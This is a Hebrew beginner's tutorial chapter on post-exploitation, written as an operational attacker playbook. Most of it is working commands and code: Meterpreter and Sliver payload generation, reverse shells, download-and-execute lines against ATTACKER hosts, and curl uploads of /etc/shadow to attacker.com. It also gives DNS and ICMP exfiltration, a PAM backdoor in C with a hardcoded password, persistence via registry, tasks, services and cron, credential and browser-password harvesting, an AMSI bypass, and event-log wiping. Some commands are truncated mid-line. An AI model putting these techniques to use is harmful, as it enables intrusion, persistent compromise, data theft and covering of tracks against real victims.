

פרק ט' ב — Post- Exploitation: C2, Persistence, Lateral Movement Exfiltration-I

מדריך מלא למתחילים — בעברית

פרק ט' ב — Post-Exploitation: C2, Exfiltration-ו Persistence, Lateral Movement

מה נכסה בפרק הזה

בפרק הקודם (09a) למדנו להגיע ל-SYSTEM/root. עכשיו אנחנו שואלים: מה עושים עם זה?

בפרק הזה:

1. **C2 Frameworks** — איך מנהלים implants ומשמרים שליטה
2. **Persistence** — איך נשארים במערכת גם אחרי ריסטארט
3. **Lateral Movement** — איך מתפשטים למכונות אחרות
4. **Living off the Land (LOTL)** — שימוש בכלים לגיטימיים כדי להתחמק מזיהוי
5. **Data Exfiltration** — גניבת נתונים בצורה שלא תתגלה

חלק א': C2 Frameworks (Command & Control)

מה זה C2?

C2 (Command and Control) הוא השיטה שבה תוקף שומר תקשורת עם המכונות שכבש. במקום להתחבר ישירות (מה שיתגלה בקלות), ה-**implant** (תוכנה זדונית במכונת הקרבן) יוצא ליזמה ומתחבר ל-**C2 server** של התוקף.

```
[מכונת הקרבן] <--- [C2 Server] ---> [תוקף]
      (שולט)      (האמצעי)      implant
```

מה C2 נותן לך:

- Multi-session management — ניהול עשרות/מאות implants
- Pivoting — גישה לרשתות שמאחורי firewall
- File upload/download
- Screenshot, keylogging
- Token manipulation
- Process injection
- Built-in post-exploitation modules

C2 Framework 1: Metasploit (Meterpreter)

Metasploit הוא ה-C2 הנפוץ ביותר לשימוש בתרגילים ו-CTF. כבר הכרנו אותו בפרק רשתות, אבל עכשיו נכנס עמוק יותר.

Meterpreter הוא ה-implant של Metasploit — הוא רץ בזיכרון (in-memory), מוצפן, ולא כותב קבצים לדיסק.

```
# הכן listener:
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST 10.10.10.100
set LPORT 443
set ExitOnSession false
run -j # בטא ברקע

# יצירת payload:
msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=10.10.10.100 LPORT=443 \
  -f exe -o payload.exe

msfvenom -p linux/x64/meterpreter/reverse_tcp \
  LHOST=10.10.10.100 LPORT=4444 \
  -f elf -o payload.elf

# Staged vs Stageless:
# /meterpreter/reverse_tcp = staged (קטן יותר)
# /meterpreter_reverse_tcp = stageless (גדול יותר אבל יותר אמין)
```

Meterpreter Commands — הגדשים:

```
# מידע בסיסי:

sysinfo          # מידע על המערכת
getuid           # איזה משתמש אני?
getpid           # שלי PID-מה ה
ps              # כל הפרוצסים
pwd, ls, cd      # navigation
download, upload # העברת קבצים
shell            # CMD shell

# Privilege Escalation:

getsystem        # אוטומטית SYSTEM-מנסה להגיע ל
getprives        # Token privileges
use priv         # load privilege module

# Evasion:

migrate PID      # (כמו explorer.exe) אחר process-קפיצה ל
# גם שוכח את ה-PID הקודם שלנו

# מידע רגיש:

hashdump         # SAM-ים מ-hash גרוף
run post/windows/gather/credentials/credential_collector
run post/multi/recon/local_exploit_suggester

# Keylogging:

keyscan_start
keyscan_dump
keyscan_stop

# Screenshot:

screenshot

# Webcam:

webcam_list
webcam_snap

# Pivoting:

route add 192.168.1.0/24 SESSION_ID
```

```
use auxiliary/server/socks_proxy
set SRVPORT 1080
run

# Persistence (Windows):
run post/windows/manage/persistence
run post/windows/manage/persistence_exe STARTUP=SCHEDULER

# Port Forwarding:
portfwd add -l 3389 -p 3389 -r 192.168.1.50
localhost:3389 → 192.168.1.50:3389 # עכשיו
```

C2 Framework 2: Sliver

Sliver הוא C2 framework חוקי open-source שמיועד ל-red teamers. הוא מתחרה ב-Cobalt Strike, חנימי לחלוטין, ומפותח על-ידי BishopFox.

```

:התקנה #
curl https://sliver.sh/install | sudo bash

:הפעלה #
sliver-server

:דאשבורד #
[server] sliver > help

:צור implant #
generate --mtls 10.10.10.100:8888 --os windows --arch amd64 --format exe
# --mtls = Mutual TLS (דו-כיווני TLS-מוצפן ב)

generate --http 10.10.10.100 --os linux --arch amd64 --format elf
generate --dns example.com --os windows # C2 דרך DNS!

# Stager (טוען, טוען implant):
generate stager --lhost 10.10.10.100 --lport 8080 --protocol http --format shellcode

:הפעל listener #
mtls # listener ל-MTLS
http # listener ל-HTTP
dns --domains example.com # listener ל-DNS

:sessions # ניהול
sessions # כל החיבורים
use SESSION_ID # session-התחבר ל

:session בתוך #
whoami
ps
ls
upload /path/to/file
download remote_file local_path
execute -o -- /bin/bash -c "id" # הרץ פקודה

# Process Injection:

```

```
inject --pid 1234 --shellcode /path/to/shellcode.bin
```

```
# Port Forwarding:
```

```
portfwd add --remote 192.168.1.50:3389
```

```
# SOCKS Proxy:
```

```
socks5 start --port 1080
```

יתרונות Sliver:

- מוצפן ב-mTLS/WireGuard
- Malleable C2 profiles
- DNS C2
- Stage2 over HTTP/S
- Built-in evasion techniques

C2 Framework 3: Havoc

Havoc הוא open-source C2 framework חדש יחסית שמשמש כחלופה ל-Cobalt Strike. הוא מאוד מתקדם מבחינת evasion.

```
# הורדה:
```

```
git clone https://github.com/HavocFramework/Havoc
```

```
cd Havoc
```

```
make
```

```
# הפעלה:
```

```
./havoc server --profile profiles/havoc.yaotl
```

```
# Teamserver:
```

```
# havoc.yaotl מוגדר עם credentials, listeners, etc.
```

```
# UI:
```

```
./havoc client
```

```
# התחבר לteamserver עם credentials
```

:Havoc Daemon Configuration

```
# havoc.yaotl

Teamserver {
    Host = "0.0.0.0"
    Port = 40056

    Build {
        Compiler64 = "x86_64-w64-mingw32-gcc"
        Compiler86 = "i686-w64-mingw32-gcc"
        Nasm        = "/usr/bin/nasm"
    }
}

Operators {
    user "User1" {
        Password = "SecurePassword"
    }
}

Listeners {
    Http {
        Name      = "http80"
        Hosts     = ["10.10.10.100"]
        Port      = 80
        Method    = "POST"
        Uris      = ["/search", "/api/v1/data"]
    }
}
```

C2 Framework 4: Covenant

Covenant הוא C2 framework ב-.NET, נחמד לעבודה ב-Windows environments.


```
# Docker:
git clone https://github.com/cobbr/Covenant
cd Covenant/Covenant
docker build -t covenant .
docker run -it -p 7443:7443 -p 80:80 -p 443:443 \
    --name covenant covenant

# פתח https://localhost:7443 בדפדפן
```

Covenant Grunts:

ה-implant של Covenant נקרא **Grunt**. הוא NET-based ועובד עם Windows.

C2 Framework 5: Cobalt Strike (אזכור)

Cobalt Strike הוא הסטנדרט התעשייתי ב-red teaming — עולה כ-\$5,000 לשנה. לא נכנס לעומקו כי הוא מסחרי, אבל כדאי לדעת שהוא קיים וזה מה שמשתמשים בו ב-engagements אמיתיים.

מושגים מ-Cobalt Strike שחשוב להכיר:

- **Beacon** — ה-implant שלו, מתקשר ב-HTTP/DNS
- **Malleable C2** — profile שמאפשר לשנות איך התקשורת נראית (לחקות Slack, Netflix, וכו')
- **Aggressor Script** — scripting language לcustomization
- **BOF** (Beacon Object Files) — מודולים שרצים in-process

חלק ב': Persistence (שמירת גישה)

מה זה Persistence?

Persistence = הבטחה שתהיה לך גישה גם אחרי:

- ריסטארט של המכונה
- לוגאאוט של המשתמש
- עדכון התוכנה שנפגעה

עקרון: הפחות שינויים — כך פחות סיכוי להתגלות.

שיטה 1: Registry Run Keys

```
# HKCU – מתחבר – כשהמשתמש הנוכחי משתמש:
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" `
    /v "WindowsUpdate" /t REG_SZ /d "C:\Users\user\AppData\Local\payload.exe"

# HKLM – כל משתמש (דורש הרשאות גבוהות):
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" `
    /v "SecurityService" /t REG_SZ /d "C:\Windows\System32\payload.exe"

# RunOnce – חד-פעמי:
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" `
    /v "Update" /d "C:\payload.exe"
```

שיטה 2: Scheduled Task

```
# Scheduled task שרצה כל 5 דקות:
schtasks /create /tn "WindowsDefenderService" /tr "C:\payload.exe" `
    /sc minute /mo 5 /ru SYSTEM /f

# בלוגין:
schtasks /create /tn "UserInit" /tr "C:\payload.exe" `
    /sc onlogon /ru "DOMAIN\user" /f

# בסטארטאפ:
schtasks /create /tn "SystemMaintenance" /tr "C:\payload.exe" `
    /sc onstart /ru SYSTEM /f

# בד'קה:
schtasks /query /tn "WindowsDefenderService" /fo LIST /v

# PowerShell version:
$action = New-ScheduledTaskAction -Execute "C:\payload.exe"
$trigger = New-ScheduledTaskTrigger -RepetitionInterval (New-TimeSpan -Minutes 5) -Once -
Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "WinUpdate" -RunLevel
```

שיטה 3: Services

```
:service օՐ #
sc create "WindowsAudit" binPath= "cmd.exe /c C:\payload.exe" start= auto
sc description "WindowsAudit" "Windows Audit Service"
sc start "WindowsAudit"

# PowerShell:
New-Service -Name "WindowsAudit" -BinaryPathName "C:\payload.exe" `
-StartupType Automatic -DisplayName "Windows Audit Service"
```

שיטה 4: Startup Folder

```
# User-specific (ללא דורש הרשאות גבוהות):

$startup = [System.Environment]::GetFolderPath("Startup")

Copy-Item "C:\payload.exe" "$startup\WindowsUpdate.exe"


# All users (דורש הרשאות גבוהות):

Copy-Item "C:\payload.exe" "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\"
```

שיטה 5: WMI Event Subscription

```

# WMI Event Subscription – קשה יותר לגלות:

# Filter (מה יפעיל זאת):
$filter = Set-WMIInstance -Class "__EventFilter" `
    -Namespace "root\subscription" `
    -Arguments @{
        Name = "WindowsFilter"
        EventNamespace = "root\cimv2"
        QueryLanguage = "WQL"
        Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance
    }

# Consumer (מה יקרה):
$consumer = Set-WMIInstance -Class "CommandLineEventConsumer" `
    -Namespace "root\subscription" `
    -Arguments @{
        Name = "WindowsConsumer"
        CommandLineTemplate = "C:\payload.exe"
    }

# Binding (חיבור):
Set-WMIInstance -Class "__FilterToConsumerBinding" `
    -Namespace "root\subscription" `
    -Arguments @{
        Filter = $filter
        Consumer = $consumer
    }

# הסרה:
Get-WMIObject -Namespace "root\subscription" -Class "__EventFilter" | Remove-WMIObject
Get-WMIObject -Namespace "root\subscription" -Class "CommandLineEventConsumer" | Remove-W
Get-WMIObject -Namespace "root\subscription" -Class "__FilterToConsumerBinding" | Remove-

```

```
# שים DLL זדוני ליד תוכנה לגיטימית שיוצאת ל-internet
# לדוגמה, Chrome, Teams, Word
# כשהתוכנה הלגיטימית עולה – היא טוענת את ה-DLL שלנו
```

שיטה 7: Registry Autorun — תיקיות נוספות

```
# Image File Execution Options (debugger hijacking):
# כשמישהו מריץ notepad.exe – הוא בעצם מריץ את הpayload שלנו!
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\n
    /v "Debugger" /d "C:\payload.exe"

# AppInit DLLs – user-mode process נטען בכל
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" `
    /v "AppInit_DLLs" /d "C:\evil.dll"
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" `
    /v "LoadAppInit_DLLs" /t REG_DWORD /d 1

# Winlogon Notify:
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" `
    /v "Shell" /d "explorer.exe, C:\payload.exe"
```

Persistence — Linux

שיטה 1: Cron Job

```
# User cron:
crontab -e
# הוסף:
@reboot /tmp/.hidden_payload &
* * * * * /home/user/.cache/.backdoor 2>/dev/null

# System cron (דורש root):
echo "@reboot root /tmp/payload" >> /etc/crontab
echo "* * * * * root /tmp/payload 2>/dev/null" >> /etc/cron.d/sysmon
```

שיטה 2: Systemd Service

```

:service file צור #
cat > /etc/systemd/system/systemd-network-monitor.service << 'EOF'

[Unit]
Description=Network Monitor Service
After=network.target

[Service]
Type=simple
ExecStart=/usr/local/bin/.netmon
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target
EOF

:הפעל: #
systemctl enable systemd-network-monitor
systemctl start systemd-network-monitor

```

שיטה 3: .profile / .bashrc

```

:bash כשמתחיל פותח #
echo "nohup /tmp/.payload &>/dev/null &" >> /home/user/.bashrc
echo "nohup /tmp/.payload &>/dev/null &" >> /home/user/.bash_profile

# Shell-agnostic:
echo "nohup /tmp/.payload &>/dev/null &" >> /home/user/.profile

```

שיטה 4: SSH Authorized Keys

```
# הוסף SSH public key
mkdir -p /home/user/.ssh
echo "ssh-rsa AAAA....YOUR_PUBLIC_KEY.... attacker" >> /home/user/.ssh/authorized_keys
chmod 600 /home/user/.ssh/authorized_keys

# עכשיו אתה מתחבר עם private key שלך, ללא סיסמה
ssh -i your_private_key user@target
```

שיטה 5: PAM Backdoor

```
# PAM (Pluggable Authentication Modules) authentication שולט ב
# הוסף password backdoor שעובד תמיד:

# pam_unix.so – patch לקבל hardcoded password
# (מורכב, דורש recompilation)

# פשוט יותר – ld.so.preload
cat > /tmp/evil.c << 'EOF'
#include <stdio.h>
#include <string.h>
#include <security/pam_appl.h>

int pam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, const char **argv) {
    char *pass;
    pam_get_authtok(pamh, PAM_AUTHTOK, (const char **)&pass, NULL);
    if (strcmp(pass, "backdoor123") == 0) return PAM_SUCCESS;
    return PAM_AUTH_ERR;
}

EOF

gcc -shared -fPIC -o /lib/x86_64-linux-gnu/evil.so /tmp/evil.c -lpam
echo "/lib/x86_64-linux-gnu/evil.so" >> /etc/ld.so.preload
```

שיטה 6: MOTD/rc.local

```
# /etc/rc.local – רץ בסטארטאפ:
echo "/tmp/.payload &" >> /etc/rc.local
chmod +x /etc/rc.local

# MOTD (Message of The Day):
echo "/tmp/.payload &>/dev/null &" >> /etc/update-motd.d/00-header
chmod +x /etc/update-motd.d/00-header
```

חלק ג': Lateral Movement (תנועה לרוחב)

מה זה Lateral Movement?

אחרי שכבשת מכונה אחת, **Lateral Movement** הוא השלב שבו אתה מתפשט לשאר המכונות ברשת — כמו שריפה שמתפשטת מעץ לעץ.

המטרה: להגיע ל-Domain Controller, לשרתי קריטיים, למאגרי מידע.

שיטה 1: Pass-the-Hash (PtH)

(הסברנו בפרק AD, אבל כאן בהקשר של lateral movement)

```
# impacket – psexec עם hash:
psexec.py -hashes :NTLM_HASH DOMAIN/user@192.168.1.50

# CrackMapExec – spray על כל הרשת:
crackmapexec smb 192.168.1.0/24 -u administrator -H :NTLM_HASH

# Evil-WinRM:
evil-winrm -i 192.168.1.50 -u administrator -H NTLM_HASH

# Metasploit:
use exploit/windows/smb/psexec
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set SMBUser administrator
set SMBPass :NTLM_HASH # LM:NTLM format (LM = aad3b435...)
```


שיטה 2: PsExec / Remote Service Creation

```
# PsExec (Sysinternals – אבל מנוצל –):  
psexec.exe \\192.168.1.50 -u admin -p password cmd.exe  
  
# impacket psexec:  
psexec.py domain/user:password@192.168.1.50  
  
# smbexec (SMB-ריצה ב service יצירת):  
smbexec.py domain/user:password@192.168.1.50  
# נחשב פחות זיהוי מ-psexec
```

שיטה 3: WMI (Windows Management Instrumentation)

```
# wmic → מקומי remote:  
wmic /node:192.168.1.50 /user:admin /password:pass process call create "cmd.exe /c payload  
  
# impacket wmiexec:  
wmiexec.py domain/user:password@192.168.1.50  
wmiexec.py domain/user:password@192.168.1.50 "whoami"  
  
# PowerShell WMI:  
Invoke-WmiMethod -Class Win32_Process -Name Create `   
    -ArgumentList "powershell.exe -enc BASE64" `   
    -ComputerName 192.168.1.50 `   
    -Credential (Get-Credential)
```

שיטה 4: WinRM (Windows Remote Management)

```
# PowerShell Remoting:
Enter-PSSession -ComputerName 192.168.1.50 -Credential admin
Invoke-Command -ComputerName 192.168.1.50 -ScriptBlock { whoami } -Credential admin

# Evil-WinRM (הכי נוח):
evil-winrm -i 192.168.1.50 -u admin -p password
evil-winrm -i 192.168.1.50 -u admin -H NTLM_HASH

:Evil-WinRM בתוך #
upload /path/to/local/file remote_path
download remote_file /local/path
Bypass-4MSI # bypass AMSI
menu # הצג modules
```

שיטה 5: RDP (Remote Desktop Protocol)

```
# Pass-the-Hash עם RDP (Restricted Admin mode):
xfreerdp /v:192.168.1.50 /u:admin /pth:NTLM_HASH /cert:ignore

# Credentials רגילות:
xfreerdp /v:192.168.1.50 /u:admin /p:password /cert:ignore

:(SYSTEM דורש) Restricted Admin Mode # הפעלת
reg add "HKLM\System\CurrentControlSet\Control\Lsa" `
    /v DisableRestrictedAdmin /t REG_DWORD /d 0

# RDP מלאות credentials בלי (PtH):
mimikatz # sekurlsa::pth /user:admin /domain:domain /ntlm:HASH /run:"mstsc.exe /restricte
```

שיטה 6: SSH (Linux)

```
# SSH key שגנבנו:
ssh -i /home/user/.ssh/id_rsa user@192.168.1.60

# סימנה:
ssh user@192.168.1.60

# SSH Tunneling – לרשת פנימית:
# Dynamic SOCKS proxy:
ssh -D 1080 user@jump_server

# Port forwarding:
ssh -L 8080:internal_server:80 user@jump_server

# Agent Forwarding (סכנה! מאפשר לשרת ביניים להשתמש במפתח שלך):
ssh -A user@jump_server # ואז מהשרת: ssh internal_host
```

שיטה 7: Token Impersonation → Lateral Movement

```
# Meterpreter – incognito module:
use incognito
list_tokens -u
impersonate_token "DOMAIN\Admin"

# בדוק:
getuid

# Server username: DOMAIN\Admin

# עכשיו אתה יכול לגשת לresources שה-Admin ניגש אליהם
```

שיטה 8: Lateral Movement עם Golden/Silver Ticket

(כבר כוסה בפרק AD, אבל לחזרה)

```
# Golden Ticket + PsExec:
# 1. zor Golden Ticket ב-mimikatz
mimikatz # kerberos::golden /user:admin /domain:domain.local /sid:S-1-5-21-... /krbtgt:HA

# 2. גש לכל מכונה בדומיין:
psexec.exe \\DC01 cmd.exe
```

חלק ד': Living off the Land (LOtL)

מה זה Living off the Land?

Living off the Land = שימוש בכלים שכבר מותקנים על המכונה הקרבן בשביל לבצע פעולות זדוניות. כך אתה מתחמק מגילוי כי:

1. אין לך קבצים חיצוניים שיסרקו
2. האנטיוירוס לא יחסום כלים לגיטימיים
3. ה-log-ים נראים נורמליים

LOLBas — **LOLBins** (Living off the Land Binaries) ל-Linux.

LOLBins — Windows

:PowerShell

```
# Download & Execute לדיסק לגעת:
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER/payload.ps1')

# Encode:
$code = "IEX (iwr 'http://ATTACKER/p.ps1').Content"
[Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($code))

# הרץ מוצפן:
powershell.exe -EncodedCommand BASE64_HERE

# Bypass execution policy:
powershell.exe -ExecutionPolicy Bypass -File script.ps1
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Unrestricted

# Download לדיסק:
(New-Object System.Net.WebClient).DownloadFile('http://ATTACKER/payload.exe', 'C:\Windows

# Hidden + NoProfile:
powershell.exe -WindowStyle Hidden -NoProfile -NonInteractive -ep bypass -c "COMMAND"
```

:certutil.exe

```
REM Windows מרכז אישורים לגיטימי (של) הורדת קבצים:
certutil -urlcache -split -f http://ATTACKER/payload.exe payload.exe

REM Base64 encode/decode:
certutil -encode payload.exe payload.b64
certutil -decode payload.b64 payload.exe
```

:bitsadmin.exe

```
REM BITS = Background Intelligent Transfer Service
bitsadmin /transfer job http://ATTACKER/payload.exe C:\Temp\update.exe
```

:msiexec.exe

REM הרצת MSI מ-URL:

```
msiexec /i http://ATTACKER/payload.msi /quiet
```

```
msiexec /q /i http://ATTACKER/evil.msi
```

:regsvr32.exe

REM ScriptletURL – הרצת COM scriptlet מ-URL:

```
regsvr32.exe /s /n /u /i:http://ATTACKER/payload.sct scrobj.dll
```

:rundll32.exe

REM הרצת DLL:

```
rundll32.exe payload.dll,EntryPoint
```

```
rundll32.exe javascript:"..\mshtml,RunHTMLApplication";document.write();GetObject("scrip
```

:wscript/cscript

REM הרצת VBScript/JScript:

```
wscript payload.vbs
```

```
cscript payload.js
```

:mshta.exe

REM Microsoft HTML Application Host:

```
mshta.exe http://ATTACKER/payload.hta
```

```
mshta.exe vbscript:Execute("CreateObject(\""Wscript.Shell\"").Run \"powershell.exe -ep bypa
```

:wmic.exe

REM Process creation:

```
wmic process call create "powershell.exe -enc BASE64"
```

REM עם XSL:

```
wmic os get /format:"http://ATTACKER/payload.xsl"
```

:forfiles.exe

```
forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /c calc.exe"
```

:pcalua.exe

```
REM Program Compatibility Assistant:  
pcalua.exe -a payload.exe
```

curl / wget – הורדה והרצה:

```
curl http://ATTACKER/payload.sh | bash
```

```
wget -O- http://ATTACKER/payload.sh | bash
```

python – download & execute:

```
python3 -c "import urllib.request; exec(urllib.request.urlopen('http://ATTACKER/p.py').read())"
```

bash /dev/tcp – ללא curl/wget:

```
bash -i >& /dev/tcp/10.10.10.100/4444 0>&1
```

```
exec 5<>/dev/tcp/10.10.10.100/4444; cat <&5 | while read line; do $line 2>&5 >&5; done
```

find – הרצת פקודות:

```
find /etc/passwd -exec bash -c "id" \;
```

awk:

```
awk 'BEGIN {system("id")}'
```

perl:

```
perl -e 'system("id")'
```

python:

```
python3 -c 'import subprocess; subprocess.call(["id"])'
```

openssl – reverse shell מוצפן:

:מכונת תוקף #

```
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
```

```
openssl s_server -quiet -key key.pem -cert cert.pem -port 4443
```

:מכונת קרבן #

```
mkfifo /tmp/p; openssl s_client -quiet -connect 10.10.10.100:4443 < /tmp/p | /bin/sh > /tmp/p
```

ssh – port forwarding ב-L0tL style:

```
ssh -o StrictHostKeyChecking=no -o PasswordAuthentication=no user@jump
```



```
# base64 – הסתרת payload:
```

```
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMDAvNDQ0NCAtPiYx" | base64 -d | bash
```

חלק ה': Data Exfiltration (גניבת נתונים)

עקרונות הגניבה

כשגונבים נתונים, הבעיה היא לא מה לגנוב — הבעיה היא איך לשלוח אותם החוצה בלי שיתגלו. Security tools מחפשים:

- כמויות גדולות של נתונים יוצאים
- חיבורים לכתובות לא מוכרות
- פרוטוקולים לא רגילים

שיטה 1: HTTPS (הכי נפוץ)

```
# C2 exfiltration הוא כבר מסתיר – HTTPS-מוצפן ב C2
```

```
# הנתונים נשלחים כחלק מהתקשורת הרגילה עם C2
```

```
# העלאה ידנית עם curl:
```

```
curl -X POST https://attacker.com/upload \  
-H "Authorization: Bearer TOKEN" \  
-F "file=@/etc/shadow"
```

```
# עם Base64 בגוף:
```

```
curl -X POST https://attacker.com/data \  
-d "data=$(cat /etc/passwd | base64)"
```

שיטה 2: DNS Tunneling (עוקף Firewalls)

הסבר:

DNS מותר כמעט בכל מקום — אפילו רשתות מאוד נעולות מאפשרות שאילתות DNS. אפשר לשלוח נתונים בתוך שאילתות DNS!

```
# dnscat2:

# מכוונת תוקף (DNS server):
ruby dnscat2.rb --dns "domain=attacker.com,host=0.0.0.0"

# מכוונת קרבן:
./dnscat --dns attacker.com

# עכשיו יש C2 channel דרך DNS בלבד!

# iodine – IP-over-DNS:
# מכוונת תוקף:
iodined -f 10.0.0.1 tunnel.attacker.com

# מכוונת קרבן:
iodine -f tunnel.attacker.com

# nslookup (שליחת נתונים) אחד-כיווני:
DATA=$(cat /etc/passwd | base64 | tr -d '\n' | fold -w 60)
for chunk in $DATA; do
    nslookup "${chunk}.data.attacker.com" 1.2.3.4
done
```

שיטה 3: ICMP Tunneling

```
# icmpsh:
# מכונת תוקף:
python icmpsh_m.py 10.10.10.100 10.10.10.50

# מכונת קרבן:
icmpsh.exe -t 10.10.10.100

# ptunnel-ng:
# מכונת תוקף (server):
ptunnel-ng -r 10.10.10.100

# מכונת קרבן (client):
ptunnel-ng -p 10.10.10.100 -lp 8080 -da internal_host -dp 22
ssh -p 8080 user@localhost # SSH דרך ICMP!
```

שיטה 4: Data Staging

לפני Exfiltration, אסוף ותמצא:

```
# Windows – קבצים חשובים – חפש:
# מסמכים:
Get-ChildItem -Path C:\Users -Recurse -Include *.doc,*.docx,*.pdf,*.xlsx,*.txt `
    -ErrorAction SilentlyContinue | Where-Object { $_.LastWriteTime -gt (Get-Date).AddDay

# Passwords:
findstr /si password *.xml *.ini *.txt *.config 2>nul
findstr /si "pass\|pwd\|credential" *.txt *.ini *.xml 2>nul
Get-ChildItem -Path C:\ -Recurse -Include *.kdbx -ErrorAction SilentlyContinue # KeePass

# Browser passwords:
# Chrome:
Copy-Item "$env:LOCALAPPDATA\Google\Chrome\User Data\Default\Login Data" C:\Temp\
# Firefox:
Copy-Item "$env:APPDATA\Mozilla\Firefox\Profiles\*\logins.json" C:\Temp\

# Email:
Copy-Item "$env:LOCALAPPDATA\Microsoft\Outlook\*.ost" C:\Temp\

# SSH Keys:
Get-ChildItem "$env:USERPROFILE\.ssh\" -ErrorAction SilentlyContinue
```

```
# Linux – נתונים חשובים:

# Passwords:

grep -rian "password\|passwd\|secret\|credential" /etc/ 2>/dev/null | grep -v ".pyc"
grep -r "password" /home/ 2>/dev/null


# SSH Keys:

find / -name "id_rsa" -o -name "id_ecdsa" 2>/dev/null
find / -name "*.pem" 2>/dev/null


# Git history (שחזרו אחר כך credentials לפעמים מכיל):

find / -name ".git" 2>/dev/null
cd /repo && git log --all --oneline
git show COMMIT_HASH


# Database files:

find / -name "*.db" -o -name "*.sqlite" -o -name "*.sql" 2>/dev/null


# Config files:

find /var/www -name "*.php" -o -name "*.env" 2>/dev/null
cat /var/www/html/wp-config.php # WordPress DB credentials
```

שיטה 5: Compression + Encryption לפני גניבה

```
# Linux:

tar czf - /sensitive/data | openssl enc -aes-256-cbc -pass pass:secret | curl -X POST htt


# Windows PowerShell:

Compress-Archive -Path "C:\sensitive" -DestinationPath "C:\Temp\data.zip"

$encrypted = [System.Security.Cryptography.ProtectedData]::Protect([System.IO.File]::Read
[System.IO.File]::WriteAllBytes("C:\Temp\data.enc", $encrypted)
```

שיטה 6: Exfiltration דרך פרוטוקולים לגיטימיים

```
# Email (SMTP):
swaks --to attacker@gmail.com --from victim@company.com --server smtp.company.com \
    --attach /etc/passwd --body "update" --header "Subject: logs"

# SharePoint/OneDrive/Google Drive (ל-Cloud מחובר):
# השתמש ב-API של service כדי להעלות קבצים
# לאתר ה-traffic – cloud נראה נורמלי

# Slack API (מוחקן Slack אם):
curl -F file=@/etc/shadow -F channels=#general -H "Authorization: Bearer SLACK_TOKEN" htt

# GitHub:
# צור repo פרטי, push הנתונים כ-commits

# Dropbox API:
curl -X POST https://content.dropboxapi.com/2/files/upload \
    --header "Authorization: Bearer TOKEN" \
    --header "Dropbox-API-Arg: {\"path\": \"/data.txt\"}" \
    --data-binary @sensitive_file.txt
```

שיטה 7: Data Exfiltration via Chunking

```
# שלח קבצים גדולים בחלקים כדי לא לעורר חשד:
split -b 1M /sensitive/bigfile.tar.gz /tmp/chunk_
for chunk in /tmp/chunk_*; do
    curl -X POST "https://attacker.com/upload" -F "file=@$chunk" -F "name=$(basename $chu
    sleep 10 # chunks המתן בין
done
```

חלק ו': Defense Evasion

AMSI Bypass (Windows)

scripts = ממשק ב-Windows שמאפשר ל-AV לסרוק (Antimalware Scan Interface) **AMSI** לפני הרצתו. (PowerShell, JScript, VBScript).

```
# Bypass (לפעמים עובד) קלאסי:
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed')

# Obfuscated:
$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b = $a.GetField('amsiInitFailed','NonPublic,Static')
$b.SetValue($null,$true)

# PowerShell downgrade (AMSI ב v2 לא קיים):
powershell -version 2 -command "IEX..."

# Memory patching:
# Evil-WinRM:
Bypass-4MSI

# Invoke-Obfuscation (obfuscate כל script):
Import-Module Invoke-Obfuscation
Invoke-Obfuscation # תפריט אינטרקטיבי
```

```
# Static evasion:
payload - הצפן #
# - שנה hash (שים bytes ריקים)
# - Pack עם UPX/MPRESS

# Dynamic evasion:
# - Process Injection (לגיטימי process הכנס ל)
# - Heaven's Gate (64bit syscalls 32-bit process)
# - Direct Syscalls (AV hooks עוקף)
# - Sleep Obfuscation (actions ישן בין)

# Obfuscation כלים:
# Donut - PE shellcode הפוך -
# PEzor - evasion עם shellcode injector
# Shellter - PE legitimate ל-shellcode inject
# Veil - evasion עם payload generator
# Chimera - PowerShell obfuscation

# Shellter:
wine shellter.exe
# בחר PE לגיטימי (WinRAR, 7zip וכו')
# inject את ה-shellcode שלך
# תוצר: PE לגיטימי שמריץ את ה-payload שלך

# msfvenom עם encoding:
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=10.10.10.100 LPORT=443 \
    -e x64/xor_dynamic \
    -i 10 \ # 10 iterations
    -f exe -o payload.exe
```



```
# Metasploit – migrate ל process לגיטימי:
# בתוך meterpreter:

ps # processes ראה
migrate 1234 # explorer.exe (PID 1234) קפוץ ל
# explorer.exe בתוך meterpreter-ה עכשיו

# Process Hollowing – C#:
# 1. צור process suspended
# 2. רוקן את ה-memory שלו
# 3. כתוב payload במקום
# 4. המשך ריצה

# DLL Injection:
# 1. פתח handle ל-process
# 2. VirtualAllocEx – memory הקצה
# 3. WriteProcessMemory – DLL-כתוב נתיב ל
# 4. LoadLibrary עם CreateRemoteThread – DLL-טען ה
```

```
:Event Logs מחק #
wevtutil cl System
wevtutil cl Security
wevtutil cl Application

# PowerShell – כל-logs:
Get-WinEvent -ListLog * | Where-Object { $_.RecordCount -gt 0 } |
    ForEach-Object { wevtutil cl $_.LogName }

:PowerShell history מחק #
Remove-Item "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"
Set-PSReadlineOption -HistorySaveStyle SaveNothing

:prefetch מחק #
Remove-Item C:\Windows\Prefetch\* -Force

# timestomping (שינוי זמני קבצים):
$file = Get-Item "C:\evil.exe"
$file.CreationTime = "01/01/2020 12:00:00"
